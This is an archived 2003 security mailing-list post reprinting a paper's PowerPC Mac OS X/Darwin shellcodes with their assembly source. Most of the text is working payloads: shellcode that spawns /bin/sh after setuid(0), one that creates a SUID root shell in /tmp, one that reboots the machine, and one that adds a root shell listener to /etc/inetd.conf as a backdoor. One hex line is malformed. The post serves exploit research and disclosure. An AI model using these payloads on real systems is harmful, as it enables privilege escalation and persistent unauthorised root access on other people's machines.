

[REVS] Smashing the Mac For Fun & Profit

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-09/0004.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 09/02/03

To: list@securiteam.com

Date: 2 Sep 2003 16:32:58 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Smashing the Mac For Fun & Profit

SUMMARY

The below linked paper outlines PowerPC architecture fundamentals, and methods of deriving working shellcodes for the exploitation of vulnerabilities discovered on the OSX and Darwin Operating Systems.

DETAILS

Shellcode Examples:

/*

PPC OSX/Darwin Shellcode by B-r00t. 2003.

Does write(); exit();

See ASM below.

87 Bytes.

*/

```
char write_shellcode[] =
```

```
"\x7c\x63\x1a\x79\x40\x82\xff\xfd"
```

```
"\x7f\xe8\x02\xa6\x39\x40\x01\x0d"
```

```
"\x38\x6a\xfe\xf4\x38\x9f\x01\x44"
```

```
"\x38\x84\xfe\xf4\x39\x40\x01\x23"
```

```
"\x38\xaa\xfe\xf4\x39\x40\x01\x10"
```

```
"\x38\x0a\xfe\xf4\x44\xff\xff\x02"
```

```
"\x60\x60\x60\x60\x39\x40\x01\x0d"
```

Securiteam: [REVS] Smashing the Mac For Fun & Profit

```
"\x38\x0a\xfe\xf4\x44\xff\xff\x02"  
"\x0a\x42\x2d\x72\x30\x30\x74\x20"  
"\x52\x30\x78\x20\x59\x33\x52\x20"  
"\x57\x30\x72\x31\x64\x21\x0a";  
int main (void)  
{  
  __asm__("b _write_shellcode");  
}  
/*  
; PPC OS X / Darwin ASM by B-r00t. 2003.  
; write() exit().  
; Simply writes 'B-r00t R0x Y3R W0r1d!'  
;  
globl _main  
text  
_main:  
xor. r3, r3, r3  
bnel _main  
mflr r31  
li r10, 268+1  
addi r3, r10, -268  
addi r4, r31, 268+56  
addi r4, r4, -268  
li r10, 268+23  
addi r5, r10, -268  
li r10, 268+4  
addi r0, r10, -268  
long 0x44ffff02  
long 0x60606060  
li r10, 268+1  
addi r0, r10, -268  
long 0x44ffff02  
string: .asciz "\nB-r00t R0x Y3R W0r1d!\n"  
*/  
  
/*  
PPC OSX/Darwin Shellcode by B-r00t. 2003.  
Does sync() reboot();  
See ASM below.  
32 Bytes.  
*/  
char reboot_shellcode[] =  
"\x7c\x63\x1a\x79\x39\x40\x01\x30"  
"\x38\x0a\xfe\xf4\x44\xff\xff\x02"  
"\x60\x60\x60\x60\x39\x40\x01\x43"  
"\x38\x0a\xfe\xf4\x44\xff\xff\x02";  
int main (void)  
{  
  __asm__(" b _reboot_shellcode");  
}  
/*
```

Securiteam: [REVS] Smashing the Mac For Fun & Profit

```
; PPC OS X / Darwin ASM by B-r00t. 2003.  
; sync() reboot().  
; Simply reboots the machine! – Just 4 Fun!
```

```
;  
globl _main  
text  
_main:  
xor. r3, r3, r3  
li r10, 268+36  
addi r0, r10, -268  
long 0x44ffff02  
long 0x60606060  
li r10, 268+55  
addi r0, r10, -268  
long 0x44ffff02  
*/
```

```
/*  
PPC OSX/Darwin Shellcode by B-r00t. 2003.  
Does execve(/bin/sh); exit(0);  
See ASM below.  
80 Bytes.  
*/
```

```
char execve_shellcode[] =  
"\x7c\xa5\x2a\x79\x40\x82\xff\xfd"  
"\x7f\xe8\x02\xa6\x39\x1f\x01\x53"  
"\x39\x08\xfe\xf4\x7c\xa8\x29\xae"  
"\x38\x7f\x01\x4c\x38\x63\xfe\xf4"  
"\x90\x61\xff\xf8\x90\xa1\xff\xfc"  
"\x38\x81\xff\xf8\x3b\xc0\x01\x47"  
"\x38\x1e\xfe\xf4\x44\xff\xff\x02"  
"\x7c\xa3\x2b\x78\x3b\xc0\x01\x0d"  
"\x38\x1e\xfe\xf4\x44\xff\xff\x02"  
"\x2f\x62\x69\x6e\x2f\x73\x68\x58";  
int main (void)  
{  
__asm__("b _execve_shellcode");  
}  
/*
```

```
; PPC OS X / Darwin ASM by B-r00t. 2003.  
; execve(/bin/sh) exit(0)
```

```
;  
globl _main  
text  
_main:  
xor. r5, r5, r5  
bnel _main  
mflr r31  
addi r8, r31, 268+64+7  
addi r8, r8, -268  
stbx r5, r8, r5
```

```

addi r3, r31, 268+64
addi r3, r3, -268
stw r3, -8(r1)
stw r5, -4(r1)
subi r4, r1, 8
li r30, 268+59
addi r0, r30, -268
long 0x44ffff02
mr r3, r5
li r30, 268+1
addi r0, r30, -268
long 0x44ffff02
path: .asciz "/bin/shX"
*/

```

```

/*
PPC OSX/Darwin Shellcode by B-r00t. 2003.
Does setuid(0); execve(/bin/sh); exit(0);
See ASM below.
100 Bytes.
*/

```

```

char setuid_execve[]=
"\x7c\x63\x1a\x79\x40\x82\xff\xfd"
"\x7f\xe8\x02\xa6\x39\x1f\x01\x67"
"\x39\x08\xfe\xf4\x7c\x68\x19\xae"
"\x39\x40\x01\x23\x38\x0a\xfe\xf4"
"\x44\xff\xff\x02\x60\x60\x60\x60"
"\x7c\xa5\x2a\x79\x38\x7f\x01\x60"
"\x38\x63\xfe\xf4\x90\x61\xff\xf8"
"\x90\xa1\xff\xfc\x38\x81\xff\xf8"
"\x3b\xc0\x01\x47\x38\x1e\xfe\xf4"
"\x44\xff\xff\x02\x7c\xa3\x2b\x78"
"\x3b\xc0\x01\x0d\x38\x1e\xfe\xf4"
"\x44\xff\xff\x02\x2f\x62\x69\x6e"
"\x2f\x73\x68\x58";

```

```
int main (void)
```

```
{
__asm__ ("b _setuid_execve");
```

```
}
```

```
/*
```

```
; PPC OS X / Darwin ASM by B-r00t. 2003.
```

```
; setuid(0) execve(/bin/sh) exit(0)
```

```
;
```

```
globl _main
```

```
text
```

```
_main:
```

```
xor. r3, r3, r3
```

```
bnel _main
```

```
mflr r31
```

```
addi r8, r31, 268+84+7
```

```
addi r8, r8, -268
```

```

stbx r3, r8, r3
li r10, 268+23
addi r0, r10, -268
long 0x44ffff02
long 0x60606060
xor. r5, r5, r5
addi r3, r31, 268+84
addi r3, r3, -268
stw r3, -8(r1)
stw r5, -4(r1)
subi r4, r1, 8
li r30, 268+59
addi r0, r30, -268
long 0x44ffff02
mr r3, r5
li r30, 268+1
addi r0, r30, -268
long 0x44ffff02
path: .asciz "/bin/shX"
*/

```

/*

PPC OSX/Darwin Shellcode by B-r00t. 2003.

Does open(); write(); close(); exit();

See ASM below.

138 Bytes.

*/

```

char tmpsh_shellcode[] =
"\x7c\xa5\x2a\x79\x40\x82\xff\xfd"
"\x7f\xe8\x02\xa6\x39\x1f\x01\x81"
"\x39\x08\xfe\xf4\x7c\xa8\x29\xae"
"\x38\x7f\x01\x78\x38\x63\xfe\xf4"
"\x38\x80\x02\x01\x38\xa0\xff\xff"
"\x39\x40\x01\x11\x38\x0a\xfe\xf4"
"\x44\xff\xff\x02\x60\x60\x60\x60"
"\x38\x9f\x01\x82\x38\x84\xfe\xf4"
"\x38\xa0\x01\x18\x38\xa5\xfe\xf4"
"\x39\x40\x01\x10\x38\x0a\xfe\xf4"
"\x44\xff\xff\x02\x60\x60\x60\x60"
"\x39\x40\x01\x12\x38\x0a\xfe\xf4"
"\x44\xff\xff\x02\x60\x60\x60\x60"
"\x39\x40\x01\x0d\x38\x0a\xfe\xf4"
"\x44\xff\xff\x02\x2f\x74\x6d\x70"
"\x2f\x73\x75\x69\x64\x58\x23\x21"
"\x2f\x62\x69\x6e\x2f\x73\x68\x0a"
"\x73\x68";
int main (void)
{
__asm__ (" b _tmpsh_shellcode");
}
// Assembly code below...

```

Securiteam: [REVS] Smashing the Mac For Fun & Profit

```
/*  
; PPC OS X / Darwin ASM by B-r00t. 2003.  
; open(); write(); close(); exit()  
; Creates SUID '/tmp/suid' to execute /bin/sh.  
;  
globl _main  
text  
_main:  
xor. r5, r5, r5  
bnel _main  
mflr r31  
addi r8, r31, 268+108+9  
addi r8, r8, -268  
stbx r5, r8, r5  
addi r3, r31, 268+108  
addi r3, r3, -268  
li r4, 513  
li r5, -1  
li r10, 268+5  
addi r0, r10, -268  
long 0x44ffff02  
long 0x60606060  
addi r4, r31, 268+108+10  
addi r4, r4, -268  
li r5, 268+12  
addi r5, r5, -268  
li r10, 268+4  
addi r0, r10, -268  
long 0x44ffff02  
long 0x60606060  
li r10, 268+6  
addi r0, r10, -268  
long 0x44ffff02  
long 0x60606060  
li r10, 268+1  
addi r0, r10, -268  
long 0x44ffff02  
path: .asciz "/tmp/suidX#!/bin/sh\nsh"  
*/
```

```
/*  
PPC OS X / Darwin Shellcode by B-r00t. 2003.  
open(); write(); close(); execve(); exit();  
See ASM below.  
262 Bytes!!!  
*/  
char inetd_backdoor_shellcode[] =  
"\x7c\xa5\x2a\x79\x40\x82\xff\xfd" "\x7f\xe8\x02\xa6\x39\x1f\x01\xbf"  
"\x39\x08\xfe\xf4\x7c\xa8\x29\xae" "\x39\x1f\x02\x09\x39\x08\xfe\xf4"  
"\x7c\xa8\x29\xae\x38\x7f\x01\xb0" "\x38\x63\xfe\xf4\x38\x80\x01\x15"  
"\x38\x84\xfe\xf4\x38\xa0\xff\xff" "\x39\x40\x01\x11\x38\x0a\xfe\xf4"
```

Securiteam: [REVS] Smashing the Mac For Fun & Profit

```
"\x44\xff\xff\x02\x60\x60\x60\x60" "\x38\x9f\x01\xc0\x38\x84\xfe\xf4"
"\x38\xa0\x01\x46\x38\xa5\xfe\xf4" "\x39\x40\x01\x10\x38\x0a\xfe\xf4"
"\x44\xff\xff\x02\x60\x60\x60\x60" "\x39\x40\x01\x12\x38\x0a\xfe\xf4"
"\x44\xff\xff\x02\x60\x60\x60\x60" "\x7c\xa5\x2a\x79\x38\x7f\x01\xfa"
"\x38\x63\xfe\xf4\x90\x61\xff\xf8" "\x90\xa1\xffxfc\x38\x81\xff\xf8"
"\x3b\xc0\x01\x47\x38\x1e\xfe\xf4" "\x44\xff\xff\x02\x60\x60\x60\x60"
"\x39\x40\x01\x0d\x38\x0a\xfe\xf4" "\x44\xff\xff\x02\x2f\x65\x74\x63"
"\x2f\x69\x6e\x65\x74\x64\x2e\x63" "\x6f\x6e\x66\x58\x0a\x61\x63\x6d"
"\x73\x6f\x64\x61\x20\x73\x74\x72" "\x65\x61\x6d\x20\x74\x63\x70\x20"
"\x6e\x6f\x77\x61\x69\x74\x20\x72" "\x6f\x6f\x74\x20\x2f\x75\x73\x72"
"\x2f\x6c\x69\x62\x65\x78\x65\x63" "\x2f\x74\x63\x70\x64\x20\x2f\x62"
"\x69\x6e\x2f\x73\x68\x0a\x2f\x75" "\x73\x72\x2f\x73\x62\x69\x6e\x2f"
"\x69\x6e\x65\x74\x64\x58";
```

```
int main (void)
{
  __asm__ ("b _inetd_backdoor_shellcode");
}
// Assembly code below...
```

ADDITIONAL INFORMATION

The original article can be downloaded from:
<http://www.securiteam.com/securityreviews/PPC_OSX_Shellcode_Assembly.pdf>
http://www.securiteam.com/securityreviews/PPC_OSX_Shellcode_Assembly.pdf.

The information has been provided by <<mailto:br00t@blueyonder.co.uk>>
B-r00t.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.